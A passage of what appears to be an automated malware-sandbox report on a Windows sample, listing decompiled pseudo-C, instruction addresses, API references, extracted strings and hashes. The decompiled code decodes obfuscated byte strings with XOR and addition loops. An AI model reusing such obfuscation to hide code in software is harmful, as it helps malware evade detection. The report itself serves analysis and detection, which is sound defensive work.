																			 *0x431c88 =  *0x431c88 | 0x000000e4;
																			_t635 = 0;
																		}
																	}
																} else {
																	_t702 =  *0x431c88; // 0x0
																	 *0x431c88 =  !(_t702 *  *(_t865 + 0x10) & 0x0000000a) & 0x0000003e;
																	_t635 = 0;
																}
															}
														}
													}
												}
											}
										}
									} else {
										 *((char*)(_t865 + 0x30)) = 0x8b;
										 *((char*)(_t865 + 0x31)) = 0xa2;
										 *((char*)(_t865 + 0x32)) = 0x94;
										 *((char*)(_t865 + 0x33)) = 0x67;
										 *((char*)(_t865 + 0x34)) = 0x43;
										 *((char*)(_t865 + 0x35)) = 0x92;
										 *((char*)(_t865 + 0x36)) = 0xa1;
										 *((char*)(_t865 + 0x37)) = 0x41;
										 *((char*)(_t865 + 0x38)) = 0xeb;
										 *((char*)(_t865 + 0x39)) = 0x38;
										 *((char*)(_t865 + 0x3a)) = 0xf9;
										 *((char*)(_t865 + 0x3b)) = 0xea;
										 *((char*)(_t865 + 0x3c)) = 0xbc;
										 *((char*)(_t865 + 0x3d)) = 0x38;
										 *((char*)(_t865 + 0x1c)) = 0xc8;
										 *((char*)(_t865 + 0x1d)) = 0xd3;
										 *((char*)(_t865 + 0x1e)) = 0xce;
										 *((char*)(_t865 + 0x1f)) = 3;
										 *((char*)(_t865 + 0x20)) = 0x22;
										 *((char*)(_t865 + 0x21)) = 0xd1;
										 *((char*)(_t865 + 0x22)) = 0xd3;
										 *((char*)(_t865 + 0x23)) = 0xf9;
										 *((char*)(_t865 + 0x24)) = 0x35;
										 *((char*)(_t865 + 0x25)) = 0xed;
										 *((char*)(_t865 + 0x26)) = 0x7a;
										 *((char*)(_t865 + 0x27)) = 0x23;
										 *((char*)(_t865 + 0x28)) = 0x4e;
										 *((char*)(_t865 + 0x29)) = 0xc8;
										_t707 = 0;
										do {
											 *((char*)(_t865 + _t707 + 0x30)) =  *((intOrPtr*)(_t865 + _t707 + 0x30)) +  *((intOrPtr*)(_t865 + _t707 + 0x1c));
											 *((char*)(_t865 + _t707 + 0x31)) =  *((intOrPtr*)(_t865 + _t707 + 0x31)) +  *((intOrPtr*)(_t865 + _t707 + 0x1d));
											_t707 = _t707 + 2;
										} while (_t707 < 0xe);
										if( *((intOrPtr*)(_t852 + 0x6c)) < 0x10) {
											_t708 = _t852 + 0x58;
										} else {
											_t708 =  *((intOrPtr*)(_t852 + 0x58));
										}
										 *0x431f14(_t865 + 0x1b0, _t865 + 0x34, _t708);
										_t865 = _t865 + 0xc;
										if(E0041BC30(_t865 + 0x1ac, _t859, _t865 + 0x1ac, lstrlenA(_t865 + 0x1a8)) == 0xffffffff) {
											goto L31;
										} else {
											goto L40;
										}
									}
								} else {
									goto L31;
								}
							}
						}
					} else {
						_t856 = 0x62;
						if(E0041BC30(lstrlenA(_t865 + 0x1a8), _t732, _t865 + 0x1ac, _t721) == 0xffffffff) {
							L31:
							_t635 = 0;
						} else {
							goto L25;
						}
					}
					return E00424873(_t635,  *((intOrPtr*)(_t865 + 0x5a8)));
				}
			}

0x0040c8e6
0x0040c8ee
0x0040c8f0
0x0040c8f7
0x0040c8fb
0x0040c900
0x0040c905
0x0040c90a
0x0040c90c
0x0040c911
0x0040c915
0x0040c919
0x0040c91d
0x0040c91e
0x0040c922
0x0040c923
0x0040c935
0x0040c949
0x0040c94d
0x0040c954
0x0040c958
0x0040c963
0x0040c96e
0x0040c970
0x0040c98a
0x0040c9b6
0x0040c9b9
0x0040c9bf
0x0040c9c2
0x0040c9cc
0x0040ca70
0x0040ca72
0x0040ca77
0x0040ca7c
0x0040ca81
0x0040ca86
0x0040ca8b
0x0040ca90
0x0040ca95
0x0040ca9a
0x0040ca9f
0x0040caa4
0x0040caa9
0x0040cab0
0x0040cab0
0x0040cab5
0x0040cab6
0x0040cabe
0x0040cac5
0x0040cac0
0x0040cac0
0x0040cac0
0x0040cad6
0x0040cadc
0x0040cadc
0x0040c9d2
0x0040c9d4
0x0040c9da
0x0040c9df
0x0040c9e4
0x0040c9e9
0x0040c9ee
0x0040c9f3
0x0040c9f8
0x0040c9fd
0x0040ca02
0x0040ca07
0x0040ca0c
0x0040ca11
0x0040ca16
0x0040ca1b
0x0040ca20
0x0040ca25
0x0040ca2a
0x0040ca30
0x0040ca30
0x0040ca35
0x0040ca36
0x0040ca3d
0x0040ca44
0x0040ca3f
0x0040ca3f
0x0040ca3f
0x0040ca4a
0x0040ca51
0x0040ca4c
0x0040ca4c
0x0040ca4c
0x0040ca56
0x0040ca63
0x0040ca69
0x0040ca69
0x0040c9d4
0x0040caeb
0x0040cb15
0x0040cb17
0x0040cb1e
0x0040cb30
0x0040cb37
0x0040cb45
0x0040cb48
0x0040cb50
0x0040cb58
0x0040cb60
0x0040cb68
0x0040cb70
0x0040cb78
0x0040cb80
0x0040cb88
0x0040cb90
0x0040cb98
0x0040cba0
0x0040cba8
0x0040cbb0
0x0040cbb8
0x0040cbc0
0x0040cbc8
0x0040cbcf
0x0040cbd3
0x0040cbd8
0x0040cbdd
0x0040cbe2
0x0040cbe6
0x0040cbeb
0x0040cbf0
0x0040cbf5
0x0040cbfa
0x0040cbff
0x0040cc04
0x0040cc09
0x0040cc0e
0x0040cc13
0x0040cc18
0x0040cc1d
0x0040cc22
0x0040cc27
0x0040cc4b
0x00000000
0x0040cc51
0x0040cc51
0x0040cc5a
0x0040cce3
0x00000000
0x0040cc60
0x0040cc64
0x0040cc69
0x0040cc6e
0x0040cc73
0x0040cc78
0x0040cc7d
0x0040cc82
0x0040cc87
0x0040cc8c
0x0040cc91
0x0040cc98
0x0040cc93
0x0040cc93
0x0040cc93
0x0040cca9
0x0040ccaf
0x0040ccba
0x0040ccc0
0x0040ccda
0x0040ccea
0x0040ccef
0x0040cdf3
0x0040cdfb
0x0040d93f
0x0040d94b
0x0040d957
0x00000000
0x00000000
0x00000000
0x00000000
0x0040ce1d
0x0040ce2b
0x0040ce2f
0x0040ce3a
0x0040ce43
0x0040ce46
0x0040ce4d
0x0040ce54
0x0040ce5b
0x0040ce62
0x0040ce6a
0x0040ce72
0x0040ce7a
0x0040ce82
0x0040ce8a
0x0040ce92
0x0040ce9a
0x0040cea2
0x0040cea9
0x0040ceb1
0x0040ceb9
0x0040cec1
0x0040cec9
0x0040ced1
0x0040ced9
0x0040cee0
0x0040cee7
0x0040ceef
0x0040cef7
0x0040ceff
0x0040cf06
0x0040cf0d
0x0040cf15
0x0040cf1d
0x0040cf25
0x0040cf2d
0x0040cf35
0x0040cf3d
0x0040cf40
0x0040cf40
0x0040cf48
0x0040cf49
0x0040cf6f
0x00000000
0x0040cf75
0x0040cf83
0x0040cf88
0x0040cf8d
0x0040cf92
0x0040cf97
0x0040cf9c
0x0040cfa1
0x0040cfa6
0x0040cfab
0x0040cfb0
0x0040cfb5
0x0040cfba
0x0040cfbf
0x0040cfc4
0x0040cfc9
0x0040cfce
0x0040cfd3
0x0040cfd8
0x0040cfdd
0x0040cfe2
0x0040cfe7
0x0040cfec
0x0040cff1
0x0040cff6
0x0040cffb
0x0040d000
0x0040d005
0x0040d009
0x0040d00e
0x0040d013
0x0040d018
0x0040d01d
0x0040d022
0x0040d027
0x0040d02c
0x0040d031
0x0040d036
0x0040d03b
0x0040d040
0x0040d056
0x0040d062
0x0040d082
0x00000000
0x0040d088
0x0040d09d
0x0040d0a3
0x0040d0c3
0x00000000
0x0040d0c9
0x0040d0c9
0x0040d0d7
0x00000000
0x0040d0dd
0x0040d0f2
0x0040d0f8
0x0040d118
0x00000000
0x0040d11e
0x0040d120
0x0040d127
0x0040d132
0x0040d139
0x0040d142
0x0040d149
0x0040d150
0x0040d157
0x0040d15e
0x0040d168
0x0040d16f
0x0040d176
0x0040d17d
0x0040d185
0x0040d18d
0x0040d195
0x0040d19d
0x0040d1a5
0x0040d1ad
0x0040d1b5
0x0040d1bd
0x0040d1c5
0x0040d1cd
0x0040d1d5
0x0040d1dd
0x0040d1e5
0x0040d1ed
0x0040d1f5
0x0040d1fd
0x0040d205
0x0040d20d
0x0040d215
0x0040d21d
0x0040d225
0x0040d22d
0x0040d235
0x0040d23d
0x0040d245
0x0040d24d
0x0040d255
0x0040d25d
0x0040d265
0x0040d26d
0x0040d275
0x0040d27d
0x0040d285
0x0040d28d
0x0040d295
0x0040d29d
0x0040d2a5
0x0040d2ad
0x0040d2b5
0x0040d2bd
0x0040d2c5
0x0040d2ca
0x0040d2cf
0x0040d2d4
0x0040d2d9
0x0040d2de
0x0040d2e3
0x0040d2e8
0x0040d2ed
0x0040d2f1
0x0040d2f6
0x0040d2fb
0x0040d300
0x0040d305
0x0040d30a
0x0040d30e
0x0040d313
0x0040d318
0x0040d31c
0x0040d321
0x0040d328
0x0040d32c
0x0040d330
0x0040d335
0x0040d33a
0x0040d33f
0x0040d344
0x0040d349
0x0040d34e
0x0040d353
0x0040d358
0x0040d35d
0x0040d362
0x0040d367
0x0040d36b
0x0040d370
0x0040d375
0x0040d37a
0x0040d37f
0x0040d384
0x0040d389
0x0040d38e
0x0040d393
0x0040d398
0x0040d39c
0x0040d3a1
0x0040d3a6
0x0040d3ab
0x0040d3b0
0x0040d3b5
0x0040d3ba
0x0040d3bf
0x0040d3c1
0x0040d3d5
0x0040d3e9
0x0040d3fd
0x0040d40a
0x0040d411
0x0040d414
0x0040d420
0x0040d42a
0x0040d422
0x0040d422
0x0040d422
0x0040d441
0x0040d447
0x0040d467
0x0040d486
0x0040d48a
0x0040d493
0x0040d49b
0x0040d49f
0x0040d4a3
0x0040d4a8
0x0040d4ad
0x0040d4b2
0x0040d4b7
0x0040d4bc
0x0040d4c1
0x0040d4c6
0x0040d4cb
0x0040d4d0
0x0040d4d5
0x0040d4da
0x0040d4df
0x0040d4e4
0x0040d4e9
0x0040d4ee
0x0040d4f3
0x0040d4f8
0x0040d4fd
0x0040d502
0x0040d507
0x0040d50c
0x0040d511
0x0040d516
0x0040d51b
0x0040d520
0x0040d525
0x0040d52d
0x0040d535
0x0040d53d
0x0040d545
0x0040d54d
0x0040d555
0x0040d55c
0x0040d561
0x0040d566
0x0040d56b
0x0040d570
0x0040d575
0x0040d57a
0x0040d57f
0x0040d584
0x0040d589
0x0040d58e
0x0040d593
0x0040d598
0x0040d59d
0x0040d5a2
0x0040d5a7
0x0040d5ac
0x0040d5b1
0x0040d5b5
0x0040d5ba
0x0040d5bf
0x0040d5c4
0x0040d5c9
0x0040d5ce
0x0040d5d3
0x0040d5d8
0x0040d5dd
0x0040d5e2
0x0040d5e7
0x0040d5ec
0x0040d5f1
0x0040d5f6
0x0040d5fb
0x0040d600
0x0040d604
0x0040d606
0x0040d614
0x0040d622
0x0040d630
0x0040d63e
0x0040d64c
0x0040d656
0x0040d65a
0x0040d65d
0x0040d679
0x00000000
0x0040d67f
0x0040d681
0x0040d688
0x0040d68f
0x0040d696
0x0040d69d
0x0040d6a4
0x0040d6ac
0x0040d6b4
0x0040d6bc
0x0040d6c4
0x0040d6cc
0x0040d6d4
0x0040d6dc
0x0040d6e4
0x0040d6ec
0x0040d6f4
0x0040d6fc
0x0040d704
0x0040d70c
0x0040d714
0x0040d71c
0x0040d724
0x0040d72c
0x0040d734
0x0040d73c
0x0040d744
0x0040d74c
0x0040d754
0x0040d75c
0x0040d764
0x0040d76c
0x0040d774
0x0040d77c
0x0040d784
0x0040d78c
0x0040d794
0x0040d79c
0x0040d7a4
0x0040d7ac
0x0040d7b4
0x0040d7bc
0x0040d7c4
0x0040d7cc
0x0040d7d4
0x0040d7db
0x0040d7e3
0x0040d7eb
0x0040d7f3
0x0040d7fb
0x0040d803
0x0040d810
0x0040d810
0x0040d818
0x0040d819
0x0040d825
0x0040d82f
0x0040d827
0x0040d827
0x0040d827
0x0040d846
0x0040d84c
0x0040d86c
0x0040d88d
0x0040d8b5
0x00000000
0x0040d8bb
0x0040d8cc
0x0040d8ed
0x0040d913
0x0040d939
0x0040d95d
0x0040d95d
0x0040d93b
0x0040d93b
0x0040d93b
0x0040d8ef
0x0040d8f5
0x0040d8fa
0x0040d8fa
0x0040d8ce
0x0040d8ce
0x0040d8d5
0x0040d8d5
0x0040d8cc
0x0040d88f
0x0040d88f
0x0040d896
0x0040d896
0x0040d86e
0x0040d86e
0x0040d875
0x0040d875
0x0040d86c
0x0040d469
0x0040d469
0x0040d478
0x0040d47d
0x0040d47d
0x0040d467
0x0040d118
0x0040d0d7
0x0040d0c3
0x0040d082
0x0040cf6f
0x0040ccf5
0x0040ccf5
0x0040ccfa
0x0040ccff
0x0040cd04
0x0040cd09
0x0040cd0e
0x0040cd13
0x0040cd18
0x0040cd1d
0x0040cd22
0x0040cd27
0x0040cd2c
0x0040cd31
0x0040cd36
0x0040cd3b
0x0040cd40
0x0040cd45
0x0040cd4a
0x0040cd4f
0x0040cd54
0x0040cd59
0x0040cd5e
0x0040cd63
0x0040cd68
0x0040cd6d
0x0040cd72
0x0040cd77
0x0040cd7c
0x0040cd81
0x0040cd83
0x0040cd91
0x0040cd9b
0x0040cd9f
0x0040cda2
0x0040cdab
0x0040cdb2
0x0040cdad
0x0040cdad
0x0040cdad
0x0040cdc3
0x0040cdc9
0x0040cded
0x00000000
0x00000000
0x00000000
0x00000000
0x0040cded
0x00000000
0x00000000
0x00000000
0x0040ccda
0x0040cc5a
0x0040caed
0x0040caf5
0x0040cb0f
0x0040ccdc
0x0040ccdc
0x00000000
0x00000000
0x00000000
0x0040cb0f
0x0040d978
0x0040d978

APIs

lstrlenA.KERNEL32(?,74E06980,74E06980), ref: 0040C96E
lstrlenA.KERNEL32(?,?,?,00000002,?,00000000), ref: 0040CAE7
lstrlenA.KERNEL32(?), ref: 0040CAFA
lstrlenA.KERNEL32(00000000), ref: 0040CC34
lstrlenA.KERNEL32(?,?,?,?,?,?), ref: 0040CCBA
lstrlenA.KERNEL32(?,?,?,?,?,?), ref: 0040CDD4

Strings

[, xrefs: 0040D4F3
], xrefs: 0040C8FB
!, xrefs: 0040D6B4
9, xrefs: 0040D79C
9, xrefs: 0040CF8D
!, xrefs: 0040D73C
t, xrefs: 0040C9DF
8, xrefs: 0040D275
!, xrefs: 0040D744
P, xrefs: 0040CC09
c, xrefs: 0040D502
i, xrefs: 0040D1CD
&u#&, xrefs: 0040CA56, 0040CA5A
e, xrefs: 0040D28D
X, xrefs: 0040D7EB
M, xrefs: 0040D30E
:, xrefs: 0040CC6E
/, xrefs: 0040D022
2, xrefs: 0040D344
@, xrefs: 0040C9DA
--%s, xrefs: 0040D097, 0040D0EC
%, xrefs: 0040D6EC
6, xrefs: 0040D754
d, xrefs: 0040D4A3
w, xrefs: 0040D7E3
7, xrefs: 0040D1BD
:, xrefs: 0040CC13
1, xrefs: 0040D2D9
=, xrefs: 0040D75C
Z, xrefs: 0040D245
Q, xrefs: 0040D5BF
m, xrefs: 0040CBD3
&, xrefs: 0040D6E4
T, xrefs: 0040D295
8, xrefs: 0040CD22
<, xrefs: 0040D794
8, xrefs: 0040D764
w, xrefs: 0040D7CC
t, xrefs: 0040D235
G@,, xrefs: 0040C8E6
', xrefs: 0040D255
k, xrefs: 0040C9E9
n, xrefs: 0040CBFF
<, xrefs: 0040D33A
!, xrefs: 0040D774
i, xrefs: 0040D36B
K, xrefs: 0040D24D
n, xrefs: 0040D185
o, xrefs: 0040D724
4, xrefs: 0040D7AC
0, xrefs: 0040D7BC
U, xrefs: 0040D810
4, xrefs: 0040D734
n, xrefs: 0040D5CE
j, xrefs: 0040CB78
., xrefs: 0040D2F6
%, xrefs: 0040D4C6
U, xrefs: 0040D7FB
g, xrefs: 0040CBC0
&, xrefs: 0040D6FC
", xrefs: 0040CD4F
5, xrefs: 0040D5B5
4, xrefs: 0040D74C
+, xrefs: 0040D3B5
W, xrefs: 0040D4F8
+, xrefs: 0040CAA4
#, xrefs: 0040D1DD
\, xrefs: 0040D018
A, xrefs: 0040D384
!, xrefs: 0040D70C
', xrefs: 0040D55C
8, xrefs: 0040D7B4
[, xrefs: 0040D23D
\, xrefs: 0040D5A2
A, xrefs: 0040D2E3
<, xrefs: 0040D6DC
<, xrefs: 0040D714
3, xrefs: 0040D19D
&, xrefs: 0040D7DB
_, xrefs: 0040D2BD
`, xrefs: 0040CF92
9, xrefs: 0040D4DF
', xrefs: 0040D5E2
0, xrefs: 0040D7A4
P, xrefs: 0040D1B5
_, xrefs: 0040D2FB
--%s--, xrefs: 0040D90D
g, xrefs: 0040CD04
E, xrefs: 0040D2AD
f, xrefs: 0040D5EC
?, xrefs: 0040D25D
(, xrefs: 0040D5F6
F, xrefs: 0040D2CA
h, xrefs: 0040D7C4
!, xrefs: 0040D6C4
., xrefs: 0040D3A6
5, xrefs: 0040CB70
x, xrefs: 0040D205
X, xrefs: 0040C905
u, xrefs: 0040D784
0, xrefs: 0040D3BA
4, xrefs: 0040D195
/, xrefs: 0040D5D8
q, xrefs: 0040CFAB
<, xrefs: 0040D704
u, xrefs: 0040D72C
_, xrefs: 0040D7F3
0, xrefs: 0040D6BC
:, xrefs: 0040D6F4
E, xrefs: 0040D520
`, xrefs: 0040D575
8, xrefs: 0040CD36
4, xrefs: 0040D5BA
w, xrefs: 0040D036
:, xrefs: 0040D6AC
Q, xrefs: 0040D584
:, xrefs: 0040D71C
E, xrefs: 0040D265
x, xrefs: 0040D2E8
n, xrefs: 0040D77C
3, xrefs: 0040D78C
i, xrefs: 0040C9E4
>, xrefs: 0040D4FD
_, xrefs: 0040CFC9
x, xrefs: 0040D6CC
0, xrefs: 0040D76C

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: lstrlen
String ID: !$!$!$!$!$!$"$#$%$%$&$&$&$&u#&$'$'$'$($+$+$--%s$--%s--$.$.$/$/$0$0$0$0$0$1$2$3$3$4$4$4$4$4$5$5$6$7$8$8$8$8$8$9$9$9$:$:$:$:$:$<$<$<$<$<$=$>$?$@$A$A$E$E$E$F$G@,$K$M$P$P$Q$Q$T$U$U$W$X$X$Z$[$[$\$\$]$_$_$_$_$`$`$c$d$e$f$g$g$h$i$i$i$j$k$m$n$n$n$n$o$q$t$t$u$u$w$w$w$x$x$x
API String ID: 1659193697-1331812971
Opcode ID: 6ebbdf2303aa1300f31e8ae64d91612264c5d94e1ec949d67e2f50ec83c66ff8
Instruction ID: 76a2d0d3a120653ea146fb598d041ca30ec9760fe042aa55d2c4b689ffa964e7
Opcode Fuzzy Hash: 6ebbdf2303aa1300f31e8ae64d91612264c5d94e1ec949d67e2f50ec83c66ff8
Instruction Fuzzy Hash: 40A2072110C7C1D9D332C738988878FBFD51BA7228F485B9DE1E85A2D2D7B98149C76B

Uniqueness

Uniqueness Score: -1.00%

Function 00409119, Relevance: 187.4, Strings: 149, Instructions: 1189
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00409119(void* __eax, char __ebx, char __ecx, signed int _a16, char _a17, char _a18, char _a19, char _a20, char _a24, char _a25, char _a26, char _a27, char _a28, char _a29, char _a30, char _a32, char _a33, char _a34, char _a35, char _a36, char _a37, char _a38, char _a39, char _a40, char _a41, char _a42, char _a43, intOrPtr _a44, intOrPtr _a48, intOrPtr _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a64, intOrPtr _a68, intOrPtr _a72, intOrPtr _a76, intOrPtr _a80, intOrPtr _a84, intOrPtr _a88, intOrPtr _a92, intOrPtr _a96, intOrPtr _a100, intOrPtr _a104, intOrPtr _a108, intOrPtr _a112, intOrPtr _a116, intOrPtr _a120, intOrPtr _a124, intOrPtr _a128, char* _a132, intOrPtr _a136, intOrPtr _a140, intOrPtr _a144, intOrPtr _a148, char* _a152, char* _a156, char* _a160, char* _a164, char* _a168, intOrPtr _a172, intOrPtr _a176, intOrPtr _a180, char* _a184, char* _a188, char* _a192, char* _a196, intOrPtr _a200, char* _a204, intOrPtr _a208, char* _a212, char* _a216, char* _a220, char* _a224, char* _a228, intOrPtr _a232, char* _a236, intOrPtr _a240, char* _a244, char* _a248, char* _a252, intOrPtr _a256, char* _a260, intOrPtr _a264, char* _a268, intOrPtr _a272, intOrPtr _a276, char* _a280, char* _a284, char* _a288, intOrPtr _a292, intOrPtr _a296, intOrPtr _a300, intOrPtr _a304, char* _a308, char* _a312, intOrPtr _a316, char* _a320, char* _a324, char* _a328, char* _a332, intOrPtr _a336, char* _a340, intOrPtr _a344, intOrPtr _a348, char* _a352, intOrPtr _a356, intOrPtr _a360, char* _a364, char* _a368, char _a372, char _a373, char _a374, char _a375, void* _a376, char _a377, char _a378, char _a379, char _a380, char _a381, char _a382, char _a383, char _a384, char _a385, char _a386, char _a387, char _a388, char _a389, char _a390, char _a391, char _a392, char _a393, char _a394, char _a395, char _a396, char _a397, char _a398, char _a400, char _a401, char _a402, char _a403, char _a404, char _a405, char _a406, char _a407, char _a408, char _a416, char _a417, char _a418, char _a419, char _a420, char _a424, char _a425, char _a426, char _a427, char _a428, char _a432, char _a433, char _a434, char _a435, char _a436, char _a437, char _a438, char _a439, char _a440, char _a448, char _a449, char _a450, char _a451, char _a452, char _a456, char _a464, char _a472, char _a473, char _a474, char _a475, char _a476, char _a477, char _a478, char _a479, char _a480, char _a481, char _a488, char _a489, char _a490, char _a491, char _a492, char _a493, char _a496, char _a497, char _a498, char _a499, char _a500, char _a501, char _a504, char _a505, char _a506, char _a507, char _a508, char _a509, char _a512, char _a513, char _a514, char _a515, char _a516, char _a517, char _a520, char _a521, char _a522, char _a523, char _a524, char _a525, char _a526, char _a528, char _a529, char _a530, char _a531, char _a532, char _a533, char _a534, char _a535, char _a536, char _a537, char _a538, char _a544, char _a552, char _a553, char _a554, char _a555, char _a556, char _a557, char _a558, char _a560, char _a564, char _a565, char _a566, char _a567, char _a568, char _a569, char _a570, char _a576, char _a577, char _a578, char _a579, char _a580, char _a581, char _a582, char _a584, char _a585, char _a586, char _a587, char _a588, char _a589, char _a590, char _a592, char _a593, char _a594, char _a595, char _a596, char _a597, char _a598, char _a599, char _a600, char _a601, char _a602, char _a603, char _a608, char _a609, char _a610, char _a611, char _a612, char _a613, char _a614, char _a615, char _a616, char _a617, char _a618, char _a619, char _a620, char _a621, char _a622, char _a623, char _a624, char _a625, char _a626, char _a627, char _a628, char _a629, char _a630, char _a631, char _a632, char _a633, char _a634, char _a635, char _a636, char _a637, char _a638, char _a639, char _a640, char _a641, char _a642, char _a643, char _a644, char _a645, char _a646, char _a647, char _a648, char _a649, char _a650, char _a651, char _a652, char _a653, char _a654, char _a655, char _a656, char _a657, char _a658, char _a659, char _a660, char _a661, char _a662, char _a663, char _a664, char _a668, char _a669, char _a670, char _a671, char _a672, char _a673, char _a674, char _a675, char _a676, char _a680, char _a681, char _a682, char _a683, char _a684, char _a688, char _a689, char _a690, char _a691, char _a692, char _a693, char _a694, char _a695, char _a696, char _a704, char _a705, char _a706, char _a707, char _a708, char _a712, char _a713, char _a714, char _a715, char _a716, char _a717, char _a718, char _a719, char _a720, char _a721, char _a728, char _a729, char _a730, char _a731, char _a732, char _a733, char _a752, char _a753, char _a754, char _a755, char _a756, char _a757, char _a758, char _a768, char _a769, char _a770, char _a771, char _a772, char _a773, char _a774, char _a776, char _a777, char _a778, char _a779, char _a780, char _a781, char _a782, char _a783, char _a784, char _a785, char _a786, char _a787, char _a788, char _a789, char _a790, char _a791, char _a792, char _a793, char _a794, char _a795, char _a796, char _a797, char _a798, char _a799, char _a808, char _a809, char _a810, char _a811, char _a812, char _a813, char _a814, char _a815, char _a816, char _a820, char _a821, char _a822, char _a823, char _a824, char _a825, char _a826, char _a827, char _a828, char _a832, char _a833, char _a834, char _a835, char _a836, char _a837, char _a838, char _a839, char _a840, char _a844, char _a845, char _a846, char _a847, char _a848, char _a849, char _a850, char _a851, char _a852, char _a853, char _a856, char _a857, char _a858, char _a859, char _a860, char _a861, char _a862, char _a863, char _a864, char _a865, char _a866, intOrPtr _a872, intOrPtr _a892, intOrPtr _a896, intOrPtr _a900, intOrPtr _a916) {
				void* _t1007;
				signed int _t1008;
				void* _t1009;
				intOrPtr _t1014;
				intOrPtr _t1015;
				void* _t1016;
				void* _t1017;
				void* _t1018;
				void* _t1019;
				intOrPtr _t1021;
				void* _t1022;
				intOrPtr _t1023;
				void* _t1024;
				void* _t1025;
				void* _t1027;
				void* _t1028;
				void* _t1029;
				intOrPtr _t1030;
				void* _t1031;
				void* _t1034;
				void* _t1035;
				void* _t1036;
				void* _t1040;
				void* _t1044;
				intOrPtr _t1046;
				intOrPtr _t1047;
				void* _t1048;
				void* _t1049;
				void* _t1050;
				intOrPtr _t1052;
				intOrPtr _t1058;
				void* _t1059;
				void* _t1060;
				intOrPtr _t1061;
				void* _t1062;
				void* _t1063;
				void* _t1064;
				void* _t1065;
				intOrPtr _t1067;
				void* _t1068;
				void* _t1073;
				intOrPtr _t1076;
				intOrPtr _t1077;
				void* _t1078;
				void* _t1079;
				intOrPtr _t1082;
				void* _t1086;
				char _t1087;
				intOrPtr _t1124;
				void* _t1164;
				intOrPtr _t1265;
				intOrPtr _t1267;
				signed int _t1268;
				intOrPtr _t1270;
				void* _t1272;
				void* _t1273;
				void* _t1274;
				void* _t1275;
				void* _t1276;
				void* _t1277;
				void* _t1279;
				void* _t1280;
				void* _t1281;
				void* _t1282;
				void* _t1283;

				_t1007 = __eax;
				do {
					 *(_t1272 + _t1007 + 0x1c0) =  *(_t1272 + _t1007 + 0x1c0) ^  *(_t1272 + _t1007 + 0x17c);
					_t1007 = _t1007 + 1;
				} while (_t1007 < 5);
				_a552 = 0x3e;
				_a553 = 0x24;
				_a554 = 0x13;
				_a555 = 0xb8;
				_a556 = 0xa5;
				_a557 = 0xef;
				_a558 = 0xb3;
				_a380 = 0x35;
				_a381 = __ecx;
				_a382 = 0x50;
				_a383 = 0xbd;
				_a384 = 0xcd;
				_a385 = 0x76;
				_a386 = 0x4d;
				_t1008 = 0;
				do {
					 *((char*)(_t1272 + _t1008 + 0x228)) =  *((intOrPtr*)(_t1272 + _t1008 + 0x228)) +  *((intOrPtr*)(_t1272 + _t1008 + 0x17c));
					_t1008 = _t1008 + 1;
				} while (_t1008 < 7);
				_a668 = 0x21;
				_a669 = 0xb0;
				_a670 = 0x48;
				_a671 = 0x45;
				_a672 = 0x79;
				_a673 = 0xc0;
				_a674 = 0xe0;
				_a675 = 0x7f;
				_a676 = 0x3d;
				_a380 = 0x48;
				_a381 = 0xd3;
				_a382 = 0x3a;
				_a383 = 0x2a;
				_a384 = 0xa;
				_a385 = 0xaf;
				_a386 = 0x86;
				_a387 = 0xb;
				_a388 = 0x3d;
				_t1009 = 0;
				do {
					 *(_t1272 + _t1009 + 0x29c) =  *(_t1272 + _t1009 + 0x29c) ^  *(_t1272 + _t1009 + 0x17c);
					_t1009 = _t1009 + 1;
				} while (_t1009 < 9);
				_a680 = 0xfd;
				_a681 = 0xbf;
				_a682 = 0x39;
				_a683 = 0xaa;
				_a684 = 0xaa;
				_a380 = 0xaa;
				_a381 = 0xda;
				_a382 = 0x4a;
				_a383 = 0xde;
				_a384 = 0x96;
				_a68 = E004073E0( &_a380, 5,  &_a680);
				_a716 = 0xfd;
				_a717 = 0xfa;
				_a718 = 0xf2;
				_a719 = 0xc2;
				_a720 = 0x5c;
				_a721 = 0xa2;
				_a376 = 0xa2;
				_a377 = 0x24;
				_a378 = __ebx;
				_a379 = 0x9c;
				_a380 = 0x93;
				_a381 = 0x91;
				_t1014 = E004073E0( &_a376, 6,  &_a716);
				_push(6);
				_push( &_a728);
				_a104 = _t1014;
				_a728 = 0x90;
				_a729 = 0xec;
				_a730 = 0xd;
				_a731 = 3;
				_a732 = 3;
				_a733 = 0x7d;
				_a372 = 0x60;
				_a373 = 0xc;
				_a374 = 0x63;
				_a375 = 0;
				_a376 = 0x61;
				_a377 = 0xd;
				_t1015 = E00407370( &_a372);
				_t1273 = _t1272 + 8;
				_a72 = _t1015;
				_a448 = 0x27;
				_a449 = 0x70;
				_a450 = 0x19;
				_a451 = 0x4e;
				_a452 = 0xbb;
				_a372 = 0x49;
				_a373 = 0x15;
				_a374 = 0x6e;
				_a375 = 0x3d;
				_a376 = 0xbb;
				_t1016 = 0;
				do {
					 *(_t1273 + _t1016 + 0x1c8) =  *(_t1273 + _t1016 + 0x1c8) ^  *(_t1273 + _t1016 + 0x17c);
					_t1016 = _t1016 + 1;
				} while (_t1016 < 5);
				_a520 = 6;
				_a521 = 0x34;
				_a522 = 0xa9;
				_a523 = 0x5f;
				_a524 = 3;
				_a525 = 0x7d;
				_a526 = 0x83;
				_a380 = 0x68;
				_a381 = 0x5b;
				_a382 = 0xcb;
				_a383 = 0x30;
				_a384 = 0x67;
				_a385 = 4;
				_a386 = 0x83;
				_t1017 = 0;
				do {
					 *(_t1273 + _t1017 + 0x208) =  *(_t1273 + _t1017 + 0x208) ^  *(_t1273 + _t1017 + 0x17c);
					_t1017 = _t1017 + 1;
				} while (_t1017 < 7);
				_a488 = 0xea;
				_a489 = 0xeb;
				_a490 = 0xeb;
				_a491 = 0xea;
				_a492 = 0xe1;
				_a493 = 0x84;
				_t1018 = 0;
				do {
					 *(_t1273 + _t1018 + 0x1e8) =  *(_t1273 + _t1018 + 0x1e8) ^ 0x00000084;
					_t1018 = _t1018 + 1;
				} while (_t1018 < 6);
				_a592 = 0xad;
				_a593 = 0xac;
				_a594 = 0xb1;
